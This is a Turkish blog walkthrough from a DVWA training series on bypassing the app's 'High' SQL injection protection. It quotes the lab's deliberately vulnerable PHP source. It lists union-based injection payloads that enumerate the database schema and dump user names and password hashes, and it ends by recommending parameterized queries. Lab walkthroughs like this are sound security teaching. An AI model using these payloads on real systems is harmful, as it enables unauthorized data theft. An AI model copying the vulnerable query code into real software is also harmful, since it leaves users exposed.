DVWA SQL Injection (High Level)
Merhaba, bu yazıda dvwa web uygulamasında sql injection için güvenlik high seviyeye çıkarıldığında ne önlem alındığı ve nasıl bu güvenliğin atlatılabileceği gösterilecektir.

Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten


bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden


erişebilirsiniz.

DVWA SQL Injection High Güvenlik Seviyesinde Önlem

Medium güvenlik seviyesinde şu kaynak kod kullanılmaktaydı.

SQL Injection - Medium Level:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?> 

Bu önlemde sql sorgusu tırnaksız parametre kabul ettiğinden tırnakla enjeksiyon yapamamıştık. Ama tırnaksız enjeksiyon yaparak bu güvenliği boşa çıkarmıştık. High seviyede nasıl bir önlem mevcut ona göz atalım.

SQL Injection - High Level:

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 
High güvenlik seviyesinde sql sorgusuna Limit 1 eklenmiştir. Böylece fazladan satır döndürtüp veri sızıntısının önüne geçilmesi amaçlanmıştır.

DVWA SQL Injection High Güvenliği Atlatma

High güvenlik seviyesinde Limit 1 kullanılması bir önlemdir, fakat ne yazık ki # ile sorgunun kalan kısmı yorum satırı haline getirilerek bypass'lanabilmektedir.

Medium seviyede kullandığımız şu komutlar limit 1 engeline takılmadan sorunsuzca çalışacaktırlar ve high güvenlik seviyesi aşılmış olacaktır.

1

1' or '1' = '1' #

1' or '1' = '1' ORDER BY 1 #

1' or '1' = '1' ORDER BY 2 #  

1' or '1' = '1' ORDER BY 3 #  

1' or '1' = '1' UNION Select 1,2 #

1' or '1' = '1' UNION Select 1,version() #  

1' or '1' = '1' UNION Select 1,schema_name from information_schema.schemata #

1' or '1' = '1' UNION Select 1,group_concat(schema_name) from information_schema.schemata #

1' or '1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables Where table_schema='dvwa' # 

1' or '1' = '1' UNION Select 1,group_concat(column_name) from information_schema.columns Where table_name='users' #

1' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #







Değerlendirme

Peki geliştiriciler nasıl uygulamalarını sql injection'a karşı koruyabilirler? Impossible seviyesine bir göz atalım.

SQL Injection - Impossible Level:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
13 - 15ci satırlar arasında farklı bir sql syntax'ı dikkatinizi çekmiş olmalı. Low, Medium ve High güvenlik seviyelerinde sql sorgusu syntax'ına dinamik sql sorgu adı verilmektedir. Impossible'dakine ise parametrik sorgu adı verilmektedir. Parametrik sorgular kod ve veri arasında ayrımı yapabildiklerinden (yani girdi olarak eklenen değerin içerisinde kod da olsa veri olarak değerlendirdiklerinden ve sql sorgusunun kodları gibi değerlendirilmediklerinden) sql enjeksiyonu ihtimali ortadan kalkmış olur. Dolayısıyla geliştiriciler uygulamalarında sql sorgu kullanacakları zaman mutlaka dinamik değil, parametrik sql sorgu kullanmalıdırlar.

Yararlanılan Kaynaklar:

  • https://www.w3schools.com/mysql/mysql_limit.asp
  • https://medium.com/@aayushtiruwa120/dvwa-sql-injection-91b4efb683e4
Bu yazı 25.03.2025 tarihinde, saat 06:54:23'de yazılmıştır. 25.03.2025 tarihi ve 04:34:30 saatinde ise güncellenmiştir.
Yazar : Hasan Fatih ŞİMŞEK Görüntülenme Sayısı : 82
Yorumlar
Henüz yorum girilmemiştir.
Yorum Ekle
*
* (E-posta adresiniz yayınlanmayacaktır.)
*
*

#Arşiv


#Giriş

ID :
Şifre :